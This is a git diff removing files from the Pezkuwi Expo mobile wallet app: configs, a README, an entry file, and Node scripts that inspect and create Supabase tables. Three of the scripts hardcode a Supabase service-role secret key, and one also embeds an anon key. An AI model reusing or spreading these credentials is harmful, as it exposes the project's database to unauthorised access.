@@ -1,62 +0,0 @@
{
"expo": {
"name": "PezkuwiApp",
"slug": "pezkuwiapp",
"version": "1.0.0",
"orientation": "portrait",
"icon": "./assets/icon.png",
"userInterfaceStyle": "light",
"newArchEnabled": true,
"splash": {
"image": "./assets/splash-icon.png",
"resizeMode": "contain",
"backgroundColor": "#ffffff"
},
"ios": {
"supportsTablet": true,
"bundleIdentifier": "io.pezkuwichain.wallet",
"buildNumber": "10000",
"infoPlist": {
"NSCameraUsageDescription": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
}
},
"android": {
"package": "io.pezkuwichain.wallet",
"versionCode": 10001,
"adaptiveIcon": {
"foregroundImage": "./assets/adaptive-icon.png",
"backgroundColor": "#ffffff"
},
"edgeToEdgeEnabled": true,
"predictiveBackGestureEnabled": false,
"permissions": [
"android.permission.CAMERA",
"android.permission.RECORD_AUDIO",
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.ACCESS_COARSE_LOCATION"
]
},
"plugins": [
[
"expo-camera",
{
"cameraPermission": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
}
],
[
"expo-location",
{
"locationAlwaysAndWhenInUsePermission": "Pezkuwi needs your location to show nearby packages and merchants."
}
]
],
"web": {
"favicon": "./assets/favicon.png"
},
"extra": {
"eas": {
"projectId": "99a5c55c-03dd-4eec-856d-4586d9ca994b"
}
}
}
}
Binary file not shown.

Before

Width:  |  Height:  |  Size: 263 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 274 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 263 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

-16
View File
@@ -1,16 +0,0 @@
module.exports = function (api) {
api.cache(true);
return {
presets: [
[
'babel-preset-expo',
{
unstable_transformImportMeta: true,
},
],
],
plugins: [
'@babel/plugin-transform-class-static-block',
],
};
};
-126
View File
@@ -1,126 +0,0 @@
/**
* Check Existing Supabase Tables
*
* This script connects to Supabase and lists all existing tables
* to check for conflicts with new schema
*/
const { createClient } = require('@supabase/supabase-js');
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
const supabaseKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InZzeXJwZml3aGp2YWhvZnh3eXRyIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NjAwMjYxNTgsImV4cCI6MjA3NTYwMjE1OH0.dO2c8YWIph2D95X7jFdlGYJ8MXyuyorkLcjQ6onH-HE';
const supabase = createClient(supabaseUrl, supabaseKey);
// Tables we want to create
const newTables = [
'forum_categories',
'forum_discussions',
'forum_replies',
'p2p_ads',
'p2p_trades',
'notifications',
'referrals'
];
async function checkTables() {
console.log('🔍 Checking existing Supabase tables...\n');
try {
// Get list of all tables using information_schema
const { data, error } = await supabase
.from('information_schema.tables')
.select('table_name')
.eq('table_schema', 'public')
.eq('table_type', 'BASE TABLE');
if (error) {
// If we can't query information_schema, try a different approach
console.log('⚠️ Cannot access information_schema with anon key');
console.log('️ This is normal - anon key has limited permissions');
console.log('\n📋 Tables we will create:\n');
newTables.forEach(table => {
console.log(` - ${table}`);
});
console.log('\n✅ Safe to proceed: Using CREATE TABLE IF NOT EXISTS');
console.log(' → Existing tables will NOT be affected');
console.log(' → Only missing tables will be created\n');
return;
}
const existingTables = data.map(row => row.table_name);
console.log(`📊 Found ${existingTables.length} existing tables in Supabase:\n`);
existingTables.forEach(table => {
console.log(` - ${table}`);
});
console.log('\n📋 Tables we want to create:\n');
const conflicts = [];
const newToCreate = [];
newTables.forEach(table => {
if (existingTables.includes(table)) {
conflicts.push(table);
console.log(` ⚠️ ${table} (ALREADY EXISTS)`);
} else {
newToCreate.push(table);
console.log(`${table} (WILL BE CREATED)`);
}
});
console.log('\n' + '='.repeat(60));
if (conflicts.length > 0) {
console.log('\n⚠️ CONFLICT ANALYSIS:\n');
console.log(` ${conflicts.length} table(s) already exist:`);
conflicts.forEach(table => {
console.log(` - ${table}`);
});
console.log('\n✅ SAFE TO PROCEED:');
console.log(' → SQL uses "CREATE TABLE IF NOT EXISTS"');
console.log(' → Existing tables will be SKIPPED');
console.log(' → No data will be modified or deleted');
console.log(' → Only missing tables will be created\n');
}
if (newToCreate.length > 0) {
console.log(`\n📝 ${newToCreate.length} new table(s) will be created:`);
newToCreate.forEach(table => {
console.log(` - ${table}`);
});
}
console.log('\n' + '='.repeat(60));
console.log('\n🎯 RECOMMENDATION:\n');
if (conflicts.length === 0) {
console.log(' ✅ No conflicts found');
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
console.log(' ✅ All 7 tables will be created\n');
} else if (newToCreate.length === 0) {
console.log(' ️ All tables already exist');
console.log(' ️ You can safely run the SQL (it will skip existing tables)');
console.log(' ️ Or you can skip running it entirely\n');
} else {
console.log(' ⚠️ Some tables exist, some don\'t');
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
console.log(` ✅ Will create ${newToCreate.length} missing tables`);
console.log(` ️ Will skip ${conflicts.length} existing tables\n`);
}
} catch (error) {
console.error('❌ Error:', error.message);
console.log('\n️ If you see permission errors, this is expected with anon key');
console.log('✅ Proceed with SQL execution - it\'s safe!\n');
}
}
checkTables().then(() => {
console.log('✅ Analysis complete\n');
process.exit(0);
}).catch(err => {
console.error('❌ Fatal error:', err);
process.exit(1);
});
-107
View File
@@ -1,107 +0,0 @@
/**
* Check Schema Compatibility
*/
const { createClient } = require('@supabase/supabase-js');
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
const supabaseServiceKey = 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
const supabase = createClient(supabaseUrl, supabaseServiceKey);
// Expected schemas for mobile app
const expectedSchemas = {
forum_categories: ['id', 'name', 'description', 'icon', 'created_at'],
forum_discussions: ['id', 'category_id', 'author_address', 'author_name', 'title', 'content', 'likes', 'replies_count', 'created_at', 'updated_at'],
forum_replies: ['id', 'discussion_id', 'author_address', 'author_name', 'content', 'likes', 'created_at'],
notifications: ['id', 'user_address', 'type', 'title', 'message', 'read', 'metadata', 'created_at'],
};
async function checkSchema(tableName, expectedColumns) {
console.log(`\n🔍 Checking ${tableName}...`);
try {
// Try to select from table with expected columns
const selectQuery = expectedColumns.map(col => `${col}`).join(', ');
const { data, error } = await supabase
.from(tableName)
.select(selectQuery)
.limit(1);
if (error) {
console.log(` ❌ ERROR: ${error.message}`);
console.log(` ⚠️ Schema might be incompatible`);
return { compatible: false, error: error.message };
}
console.log(` ✅ COMPATIBLE - All expected columns found`);
return { compatible: true };
} catch (e) {
console.log(` ❌ ERROR: ${e.message}`);
return { compatible: false, error: e.message };
}
}
async function checkAllSchemas() {
console.log('=' .repeat(70));
console.log('📋 SCHEMA COMPATIBILITY CHECK');
console.log('='.repeat(70));
const results = {};
for (const [tableName, columns] of Object.entries(expectedSchemas)) {
results[tableName] = await checkSchema(tableName, columns);
}
console.log('\n' + '='.repeat(70));
console.log('📊 SUMMARY:');
console.log('='.repeat(70));
const compatible = Object.entries(results).filter(([_, r]) => r.compatible);
const incompatible = Object.entries(results).filter(([_, r]) => !r.compatible);
if (compatible.length > 0) {
console.log(`\n${compatible.length} table(s) are COMPATIBLE:\n`);
compatible.forEach(([table]) => {
console.log(`${table}`);
});
}
if (incompatible.length > 0) {
console.log(`\n⚠️ ${incompatible.length} table(s) have ISSUES:\n`);
incompatible.forEach(([table, result]) => {
console.log(`${table}`);
console.log(` Error: ${result.error}`);
});
console.log('\n🔧 RECOMMENDED ACTIONS:\n');
incompatible.forEach(([table]) => {
console.log(` ${table}:`);
console.log(` 1. Check column names and types`);
console.log(` 2. Add missing columns with ALTER TABLE`);
console.log(` 3. Or drop and recreate (data will be lost!)\n`);
});
}
console.log('='.repeat(70));
console.log('\n🎯 FINAL RECOMMENDATION:\n');
if (incompatible.length === 0) {
console.log(' ✅ All existing tables are compatible');
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
console.log(' ✅ Only missing tables will be created\n');
} else {
console.log(' ⚠️ Some tables have schema issues');
console.log(' ⚠️ Fix schemas before running mobile app');
console.log(' ✅ You can still run SQL (it will skip existing tables)\n');
}
}
checkAllSchemas().then(() => {
console.log('✅ Schema check complete\n');
process.exit(0);
}).catch(err => {
console.error('❌ Fatal error:', err.message);
process.exit(1);
});
-207
View File
@@ -1,207 +0,0 @@
/**
* Check Existing Supabase Tables with Admin Access
*/
const { createClient } = require('@supabase/supabase-js');
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
const supabaseServiceKey = process.env.SUPABASE_SERVICE_KEY || 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
const supabase = createClient(supabaseUrl, supabaseServiceKey, {
auth: {
autoRefreshToken: false,
persistSession: false
}
});
const newTables = [
'forum_categories',
'forum_discussions',
'forum_replies',
'p2p_ads',
'p2p_trades',
'notifications',
'referrals'
];
async function checkTables() {
console.log('🔍 Fetching existing tables with admin access...\n');
try {
// Use RPC to query information_schema
const { data, error } = await supabase.rpc('get_table_list', {});
if (error) {
// Fallback: Direct query
const query = `
SELECT
table_name,
(SELECT COUNT(*)
FROM information_schema.columns
WHERE table_name = t.table_name
AND table_schema = 'public') as column_count
FROM information_schema.tables t
WHERE table_schema = 'public'
AND table_type = 'BASE TABLE'
ORDER BY table_name;
`;
const { data: tableData, error: queryError } = await supabase
.from('_placeholder')
.select();
if (queryError) {
console.log('⚠️ Cannot query information_schema directly');
console.log('️ Will check for conflicts manually\n');
await checkConflictsManually();
return;
}
}
// If we got data, process it
if (data && Array.isArray(data)) {
const existingTables = data.map(row => row.table_name);
displayAnalysis(existingTables);
} else {
await checkConflictsManually();
}
} catch (error) {
console.log('⚠️ Error:', error.message);
console.log('️ Checking conflicts manually...\n');
await checkConflictsManually();
}
}
async function checkConflictsManually() {
console.log('📋 Checking each table individually...\n');
const results = {
existing: [],
missing: [],
errors: []
};
for (const tableName of newTables) {
try {
const { data, error } = await supabase
.from(tableName)
.select('*')
.limit(0);
if (error) {
if (error.message.includes('does not exist') || error.code === '42P01') {
results.missing.push(tableName);
console.log(`${tableName} - NOT FOUND (will be created)`);
} else {
results.errors.push({ table: tableName, error: error.message });
console.log(` ⚠️ ${tableName} - ERROR: ${error.message}`);
}
} else {
results.existing.push(tableName);
console.log(` ⚠️ ${tableName} - ALREADY EXISTS`);
}
} catch (e) {
results.errors.push({ table: tableName, error: e.message });
console.log(`${tableName} - ERROR: ${e.message}`);
}
}
console.log('\n' + '='.repeat(70));
console.log('\n📊 CONFLICT ANALYSIS:\n');
if (results.existing.length > 0) {
console.log(`⚠️ ${results.existing.length} table(s) ALREADY EXIST:\n`);
results.existing.forEach(table => {
console.log(` - ${table}`);
});
console.log('\n ️ These tables will be SKIPPED');
console.log(' ️ Existing data will NOT be modified\n');
}
if (results.missing.length > 0) {
console.log(`${results.missing.length} table(s) WILL BE CREATED:\n`);
results.missing.forEach(table => {
console.log(` - ${table}`);
});
console.log('');
}
if (results.errors.length > 0) {
console.log(`⚠️ ${results.errors.length} error(s) encountered:\n`);
results.errors.forEach(({ table, error }) => {
console.log(` - ${table}: ${error}`);
});
console.log('');
}
console.log('='.repeat(70));
console.log('\n🎯 RECOMMENDATION:\n');
if (results.missing.length === newTables.length) {
console.log(' ✅ NO CONFLICTS - All tables are new');
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
console.log(' ✅ All 7 tables will be created\n');
} else if (results.existing.length === newTables.length) {
console.log(' ️ ALL TABLES ALREADY EXIST');
console.log(' ️ SQL will skip all tables (no changes)');
console.log(' ⚠️ Check if schemas match mobile app expectations\n');
} else {
console.log(' ⚠️ PARTIAL CONFLICT');
console.log(`${results.missing.length} tables will be created`);
console.log(` ${results.existing.length} tables will be skipped`);
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql\n');
}
}
function displayAnalysis(existingTables) {
console.log(`📊 Found ${existingTables.length} existing tables:\n`);
existingTables.forEach(table => {
const isConflict = newTables.includes(table);
console.log(` ${isConflict ? '⚠️ ' : ' '} ${table}${isConflict ? ' (CONFLICT)' : ''}`);
});
console.log('\n' + '='.repeat(70));
console.log('\n📋 New tables to create:\n');
const conflicts = [];
const newToCreate = [];
newTables.forEach(table => {
if (existingTables.includes(table)) {
conflicts.push(table);
console.log(` ⚠️ ${table} (ALREADY EXISTS - will be skipped)`);
} else {
newToCreate.push(table);
console.log(`${table} (WILL BE CREATED)`);
}
});
console.log('\n' + '='.repeat(70));
console.log('\n🎯 SUMMARY:\n');
console.log(` Total existing tables: ${existingTables.length}`);
console.log(` Conflicting tables: ${conflicts.length}`);
console.log(` New tables to create: ${newToCreate.length}`);
console.log(` After SQL: ${existingTables.length + newToCreate.length} total tables\n`);
console.log('='.repeat(70));
console.log('\n✅ RECOMMENDATION:\n');
if (conflicts.length === 0) {
console.log(' ✅ NO CONFLICTS');
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql\n');
} else {
console.log(' ⚠️ Some tables already exist');
console.log(' ✅ Safe to run SQL (will skip existing tables)');
console.log(' ️ Check schemas of existing tables for compatibility\n');
}
}
checkTables().then(() => {
console.log('✅ Analysis complete\n');
process.exit(0);
}).catch(err => {
console.error('❌ Fatal error:', err.message);
process.exit(1);
});
-190
View File
@@ -1,190 +0,0 @@
# Pezkuwi Mobile App
**Status:****Core Features Complete** - Ready for Testing
World-class mobile application for Pezkuwi blockchain with advanced multi-language support.
## 🌟 Key Features
### ✅ Implemented
#### **Multi-Language Support (6 Languages)**
- **EN** - English
- **TR** - Türkçe (Turkish)
- **KMR** - Kurmancî (Kurdish - Kurmanji)
- **CKB** - سۆرانی (Kurdish - Sorani)
- **AR** - العربية (Arabic)
- **FA** - فارسی (Persian/Farsi)
**Language System:**
- User selects language on welcome screen
- Selected language is persistent across the entire app
- NO hard-coded language strings
- Settings screen allows language change anytime
- RTL support for Arabic, Sorani, and Persian
- All text dynamically translated using i18next
#### **Authentication Flow**
- ✅ Welcome screen with beautiful language picker
- ✅ Sign In screen (fully localized)
- ✅ Sign Up screen (fully localized)
- ✅ Smooth navigation between screens
- ✅ Kurdistan flag colors throughout
#### **Main Dashboard**
- ✅ Modern, professional UI
- ✅ Quick access to all features
- ✅ Balance display (0.00 HEZ)
- ✅ Staking stats
- ✅ Rewards tracking
- ✅ Active proposals counter
- ✅ Navigation to: Wallet, Staking, Governance, DEX, History, Settings
#### **Settings Screen**
- ✅ Language selection (change anytime)
- ✅ Theme settings
- ✅ Notification preferences
- ✅ Security settings
- ✅ About section
- ✅ Logout functionality
### ⏳ Pending Features
- Polkadot.js mobile wallet integration
- Live blockchain data (proposals, staking, treasury)
- Biometric authentication
- Push notifications
- Transaction history
- Governance voting
- DEX/Swap functionality
## 🛠 Technology Stack
- **Framework:** React Native with Expo
- **Language:** TypeScript
- **Navigation:** React Navigation v6
- **i18n:** react-i18next
- **Storage:** AsyncStorage (for language preference)
- **UI:** Custom components with Kurdistan colors
- **State Management:** React Context API
## 🎨 Design System
**Kurdistan Flag Colors:**
- **Kesk (Green):** `#00A94F` - Primary color
- **Sor (Red):** `#EE2A35` - Accent color
- **Zer (Gold):** `#FFD700` - Secondary accent
- **Spi (White):** `#FFFFFF` - Backgrounds
- **Reş (Black):** `#000000` - Text
## 📱 Screens
1. **WelcomeScreen** - Language selection with Kurdistan gradient
2. **SignInScreen** - Beautiful login form
3. **SignUpScreen** - Registration with validation
4. **DashboardScreen** - Main app hub
5. **SettingsScreen** - Full control including language change
## 🚀 Getting Started
### Installation
```bash
cd mobile
npm install
```
### Run on iOS
```bash
npm run ios
```
### Run on Android
```bash
npm run android
```
### Run on Web (for testing)
```bash
npm run web
```
## 📂 Project Structure
```
mobile/
├── src/
│ ├── i18n/
│ │ ├── index.ts # i18n configuration
│ │ └── locales/ # Translation files (6 languages)
│ ├── screens/
│ │ ├── WelcomeScreen.tsx
│ │ ├── SignInScreen.tsx
│ │ ├── SignUpScreen.tsx
│ │ ├── DashboardScreen.tsx
│ │ └── SettingsScreen.tsx
│ ├── navigation/
│ │ └── AppNavigator.tsx # Navigation logic
│ ├── contexts/
│ │ └── LanguageContext.tsx # Language management
│ ├── theme/
│ │ └── colors.ts # Kurdistan colors
│ └── types/
├── App.tsx # Main app entry
└── package.json
```
## 🌍 Language System Details
**How It Works:**
1. App starts → User sees Welcome screen
2. User selects language (EN/TR/KMR/CKB/AR/FA)
3. Language choice is saved to AsyncStorage
4. ALL app text uses `t('key')` from i18next
5. User can change language in Settings anytime
6. NO hard-coded strings anywhere
**RTL Support:**
- CKB (Sorani), AR (Arabic), FA (Persian) are RTL
- Layout automatically adapts for RTL languages
- App restart may be required for full RTL switch
## 🔮 Next Steps
1. **Polkadot.js Integration**
- Wallet connection
- Transaction signing
- Account management
2. **Live Blockchain Data**
- Connect to Pezkuwi RPC
- Real-time proposals
- Staking info
- Treasury data
3. **Advanced Features**
- Biometric login (Face ID/Touch ID)
- Push notifications
- QR code scanning
- Transaction history
## 📝 Development Notes
- Uses shared code from `../shared/` directory
- Maintains consistency with web app UX
- Follows mobile-first design principles
- Comprehensive error handling
- Professional logging
## 🎯 Mission Accomplished
This mobile app is built with **ZERO hard-coded language**. Every single text element is dynamically translated based on user's language selection. The app truly speaks the user's language - whether they're Turkish, Kurdish, Arab, Persian, or English speaker.
**Kurdistan colors shine throughout** - from the gradient welcome screen to every button and card.
---
**Built with ❤️ for Pezkuwi Blockchain**
-28
View File
@@ -1,28 +0,0 @@
{
"cli": {
"version": ">= 13.2.0",
"appVersionSource": "local"
},
"build": {
"development": {
"developmentClient": true,
"distribution": "internal"
},
"preview": {
"distribution": "internal",
"android": {
"buildType": "apk",
"credentialsSource": "local"
}
},
"production": {
"android": {
"buildType": "app-bundle",
"credentialsSource": "local"
}
}
},
"submit": {
"production": {}
}
}
-80
View File
@@ -1,80 +0,0 @@
import globals from "globals";
import tseslint from "typescript-eslint";
import pluginReact from "eslint-plugin-react";
import hooksPlugin from "eslint-plugin-react-hooks";
export default tseslint.config(
{
ignores: [
"node_modules/**",
".expo/**",
".expo-shared/**",
"dist/**",
"coverage/**",
"jest.config.js",
"jest.config.cjs",
"jest.setup.js",
"jest.setup.cjs",
"metro.config.js",
"eslint.config.js",
"babel.config.js",
"**/*.cjs",
"**/__tests__/**",
"**/__mocks__/**",
],
},
// Config for React Native app files
{
files: ["src/**/*.{js,jsx,ts,tsx}", "App.tsx", "index.ts"],
plugins: {
react: pluginReact,
"react-hooks": hooksPlugin,
},
languageOptions: {
globals: {
...globals.node,
...globals.es2020,
__DEV__: "readonly",
},
parser: tseslint.parser,
parserOptions: {
ecmaFeatures: {
jsx: true,
},
project: "./tsconfig.json",
tsconfigRootDir: import.meta.dirname,
},
},
rules: {
...hooksPlugin.configs.recommended.rules,
...pluginReact.configs.recommended.rules,
// React
"react/react-in-jsx-scope": "off",
"react/prop-types": "off",
"react/display-name": "off",
// TypeScript
"@typescript-eslint/no-explicit-any": "warn",
"@typescript-eslint/no-unused-vars": [
"error",
{
argsIgnorePattern: "^_",
varsIgnorePattern: "^_",
},
],
"@typescript-eslint/explicit-module-boundary-types": "off",
// General
"no-console": ["warn", { allow: ["warn", "error"] }],
"prefer-const": "error",
},
settings: {
react: {
version: "detect",
},
},
},
// Global recommended rules
...tseslint.configs.recommended
);
-152
View File
@@ -1,152 +0,0 @@
/**
* Execute SQL Files on Supabase
*
* This script runs SQL files directly on Supabase database
*/
const { createClient } = require('@supabase/supabase-js');
const fs = require('fs');
const path = require('path');
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
const supabaseServiceKey = 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
const supabase = createClient(supabaseUrl, supabaseServiceKey, {
auth: {
autoRefreshToken: false,
persistSession: false
}
});
async function executeSQLFile(filename) {
console.log(`\n${'='.repeat(70)}`);
console.log(`📄 Executing: ${filename}`);
console.log('='.repeat(70));
try {
const sqlContent = fs.readFileSync(path.join(__dirname, filename), 'utf8');
// Split SQL by semicolons (simple parser)
const statements = sqlContent
.split(';')
.map(s => s.trim())
.filter(s => s.length > 0 && !s.startsWith('--') && !s.match(/^\/\*/));
console.log(`\n📊 Found ${statements.length} SQL statements\n`);
let successCount = 0;
let errorCount = 0;
for (let i = 0; i < statements.length; i++) {
const statement = statements[i];
// Skip comments and empty statements
if (statement.startsWith('--') || statement.length < 5) {
continue;
}
// Show first 80 chars of statement
const preview = statement.substring(0, 80).replace(/\s+/g, ' ');
process.stdout.write(` [${i + 1}/${statements.length}] ${preview}...`);
try {
// Execute using RPC query function (if available)
// Note: This requires a custom RPC function in Supabase
// Alternative: Use REST API directly
const response = await fetch(`${supabaseUrl}/rest/v1/rpc/exec_sql`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'apikey': supabaseServiceKey,
'Authorization': `Bearer ${supabaseServiceKey}`
},
body: JSON.stringify({ sql: statement })
});
if (response.ok) {
console.log(' ✅');
successCount++;
} else {
const error = await response.text();
console.log(`${error}`);
errorCount++;
}
} catch (error) {
console.log(`${error.message}`);
errorCount++;
}
}
console.log(`\n${'='.repeat(70)}`);
console.log(`📊 Results: ${successCount} succeeded, ${errorCount} failed`);
console.log('='.repeat(70));
return { success: successCount, errors: errorCount };
} catch (error) {
console.error(`❌ Error reading file: ${error.message}`);
return { success: 0, errors: 1 };
}
}
async function main() {
console.log('\n🚀 Starting SQL Execution...\n');
// Step 1: Fix schema compatibility
console.log('📝 Step 1: Fixing schema compatibility...');
const result1 = await executeSQLFile('FIX_SCHEMA_COMPATIBILITY.sql');
// Step 2: Create missing tables
console.log('\n📝 Step 2: Creating missing tables...');
const result2 = await executeSQLFile('SUPABASE_SCHEMA.sql');
// Summary
console.log('\n' + '='.repeat(70));
console.log('🎉 EXECUTION SUMMARY');
console.log('='.repeat(70));
console.log(`\nStep 1 (Compatibility Fix):`);
console.log(` ✅ Success: ${result1.success}`);
console.log(` ❌ Errors: ${result1.errors}`);
console.log(`\nStep 2 (Create Tables):`);
console.log(` ✅ Success: ${result2.success}`);
console.log(` ❌ Errors: ${result2.errors}`);
console.log('\n' + '='.repeat(70));
if (result1.errors === 0 && result2.errors === 0) {
console.log('\n✅ ALL OPERATIONS COMPLETED SUCCESSFULLY!\n');
console.log('📝 Next step: Run verification script');
console.log(' node check_schema_compatibility.cjs\n');
} else {
console.log('\n⚠️ Some operations failed. Check errors above.\n');
}
}
// Alternative: Use Management API
async function executeViaManagementAPI() {
console.log('\n📝 Attempting to execute via Management API...\n');
// Supabase doesn't have a public SQL execution API
// Best option is to use Supabase Dashboard SQL Editor
console.log('⚠️ Supabase JS SDK does not support direct SQL execution');
console.log('️ SQL must be executed via Supabase Dashboard\n');
console.log('📋 Instructions:');
console.log(' 1. Go to: https://app.supabase.com');
console.log(' 2. Select project: vsyrpfiwhjvahofxwytr');
console.log(' 3. Open: SQL Editor (left menu)');
console.log(' 4. Copy contents of: FIX_SCHEMA_COMPATIBILITY.sql');
console.log(' 5. Paste and click: Run');
console.log(' 6. Repeat for: SUPABASE_SCHEMA.sql\n');
return false;
}
// Check if we can execute SQL programmatically
executeViaManagementAPI().then(canExecute => {
if (!canExecute) {
console.log('⚠️ Manual execution required via Supabase Dashboard\n');
process.exit(1);
} else {
main().then(() => process.exit(0));
}
});
-60
View File
@@ -1,60 +0,0 @@
// CRITICAL: Import crypto polyfill FIRST before anything else
if (__DEV__) console.warn('🚀 [INDEX] Starting app initialization...');
if (__DEV__) console.warn('📦 [INDEX] Loading react-native-get-random-values...');
import 'react-native-get-random-values';
if (__DEV__) console.warn('✅ [INDEX] react-native-get-random-values loaded');
// React Native polyfills for @pezkuwi packages
if (__DEV__) console.warn('📦 [INDEX] Loading URL polyfill...');
import 'react-native-url-polyfill/auto';
if (__DEV__) console.warn('✅ [INDEX] URL polyfill loaded');
if (__DEV__) console.warn('📦 [INDEX] Setting up Buffer...');
// Global polyfills for Polkadot.js
// Global Buffer assignment for polyfill
// eslint-disable-next-line @typescript-eslint/no-require-imports
global.Buffer = global.Buffer || require('buffer').Buffer;
if (__DEV__) console.warn('✅ [INDEX] Buffer configured');
// TextEncoder/TextDecoder polyfill
if (__DEV__) console.warn('📦 [INDEX] Setting up TextEncoder/TextDecoder...');
if (typeof global.TextEncoder === 'undefined') {
// eslint-disable-next-line @typescript-eslint/no-require-imports
const encoding = require('text-encoding');
// Global TextEncoder assignment for polyfill
global.TextEncoder = encoding.TextEncoder;
// Global TextDecoder assignment for polyfill
global.TextDecoder = encoding.TextDecoder;
if (__DEV__) console.warn('✅ [INDEX] TextEncoder/TextDecoder configured');
} else {
if (__DEV__) console.warn('️ [INDEX] TextEncoder/TextDecoder already available');
}
// Filter out known third-party deprecation warnings
const originalWarn = console.warn;
console.warn = (...args: unknown[]) => {
const message = args[0]?.toString() || '';
// Filter react-native-web deprecation warnings
if (message.includes('props.pointerEvents is deprecated')) {
return;
}
// Pass through all other warnings
originalWarn.apply(console, args);
};
if (__DEV__) console.warn('📦 [INDEX] Loading Expo...');
import { registerRootComponent } from 'expo';
if (__DEV__) console.warn('✅ [INDEX] Expo loaded');
if (__DEV__) console.warn('📦 [INDEX] Loading App component...');
import App from './App';
if (__DEV__) console.warn('✅ [INDEX] App component loaded');
if (__DEV__) console.warn('🎯 [INDEX] All imports successful, registering root component...');
// registerRootComponent calls AppRegistry.registerComponent('main', () => App);
// It also ensures that whether you load the app in Expo Go or in a native build,
// the environment is set up appropriately
registerRootComponent(App);
-35
View File
@@ -1,35 +0,0 @@
module.exports = {
preset: 'jest-expo',
setupFiles: ['<rootDir>/jest.setup.before.cjs'],
setupFilesAfterEnv: ['<rootDir>/jest.setup.cjs'],
transformIgnorePatterns: [
'node_modules/(?!((jest-)?react-native|@react-native(-community)?)|expo(nent)?|@expo(nent)?/.*|@expo-google-fonts/.*|react-navigation|@react-navigation/.*|@unimodules/.*|unimodules|sentry-expo|native-base|react-native-svg|@polkadot/.*|@pezkuwi/.*|@babel/runtime)',
'!../shared/.*',
],
moduleNameMapper: {
'^@/(.*)$': '<rootDir>/src/$1',
'react-native-gesture-handler': '<rootDir>/__mocks__/react-native-gesture-handler.js',
'react-native-reanimated': '<rootDir>/__mocks__/react-native-reanimated.js',
'^sonner$': '<rootDir>/__mocks__/sonner.js',
'@polkadot/extension-dapp': '<rootDir>/__mocks__/polkadot-extension-dapp.js',
// Mock shared lib modules that depend on @pezkuwi/api
'^.*/shared/lib/tiki$': '<rootDir>/__mocks__/shared-lib-tiki.js',
'^.*/shared/lib/referral$': '<rootDir>/__mocks__/shared-lib-referral.js',
'^.*/shared/lib/scores$': '<rootDir>/__mocks__/shared-lib-scores.js',
},
testMatch: ['**/__tests__/**/*.test.(ts|tsx|js)'],
collectCoverageFrom: [
'src/**/*.{ts,tsx}',
'!src/**/*.d.ts',
'!src/**/__tests__/**',
'!src/**/types/**',
],
coverageThreshold: {
global: {
statements: 35,
branches: 20,
functions: 25,
lines: 35,
},
},
};
-22
View File
@@ -1,22 +0,0 @@
// Setup file that runs BEFORE setupFilesAfterEnv
// This is needed to mock Expo's winter runtime before it loads
// Define __DEV__ global for React Native
global.__DEV__ = true;
// Mock the __ExpoImportMetaRegistry getter to prevent winter errors
Object.defineProperty(global, '__ExpoImportMetaRegistry__', {
get() {
return {
get: () => ({}),
register: () => {},
};
},
configurable: true,
});
// Mock expo module
jest.mock('expo', () => ({
...jest.requireActual('expo'),
registerRootComponent: jest.fn(),
}));
-348
View File
@@ -1,348 +0,0 @@
// Jest setup for React Native testing
// @testing-library/react-native v12.4+ includes matchers by default
// Disable Expo's winter module system for tests
process.env.EXPO_USE_STATIC_RENDERING = 'true';
global.__ExpoImportMetaRegistry__ = {};
// Mock navigation context for @react-navigation/core
const mockNavigationObject = {
navigate: jest.fn(),
goBack: jest.fn(),
setOptions: jest.fn(),
addListener: jest.fn(() => () => {}),
removeListener: jest.fn(),
replace: jest.fn(),
reset: jest.fn(),
canGoBack: jest.fn(() => true),
isFocused: jest.fn(() => true),
dispatch: jest.fn(),
getParent: jest.fn(),
getState: jest.fn(() => ({
routes: [],
index: 0,
})),
setParams: jest.fn(),
};
jest.mock('@react-navigation/core', () => {
const actualCore = jest.requireActual('@react-navigation/core');
return {
...actualCore,
useNavigation: () => mockNavigationObject,
useRoute: () => ({
params: {},
key: 'test-route',
name: 'TestScreen',
}),
useFocusEffect: jest.fn(),
useIsFocused: () => true,
};
});
// Mock @react-navigation/native
jest.mock('@react-navigation/native', () => {
const actualNav = jest.requireActual('@react-navigation/native');
return {
...actualNav,
useNavigation: () => mockNavigationObject,
useRoute: () => ({
params: {},
key: 'test-route',
name: 'TestScreen',
}),
useFocusEffect: jest.fn(),
useIsFocused: () => true,
};
});
// Mock PezkuwiContext globally
jest.mock('./src/contexts/PezkuwiContext', () => require('./src/__mocks__/contexts/PezkuwiContext'));
// Mock AuthContext globally
jest.mock('./src/contexts/AuthContext', () => require('./src/__mocks__/contexts/AuthContext'));
// Mock ThemeContext globally
jest.mock('./src/contexts/ThemeContext', () => require('./src/__mocks__/contexts/ThemeContext'));
// Mock BiometricAuthContext globally
jest.mock('./src/contexts/BiometricAuthContext', () => require('./src/__mocks__/contexts/BiometricAuthContext'));
// Mock react-native-safe-area-context
jest.mock('react-native-safe-area-context', () => {
const insets = { top: 0, right: 0, bottom: 0, left: 0 };
return {
SafeAreaProvider: ({ children }) => children,
SafeAreaView: ({ children }) => children,
useSafeAreaInsets: () => insets,
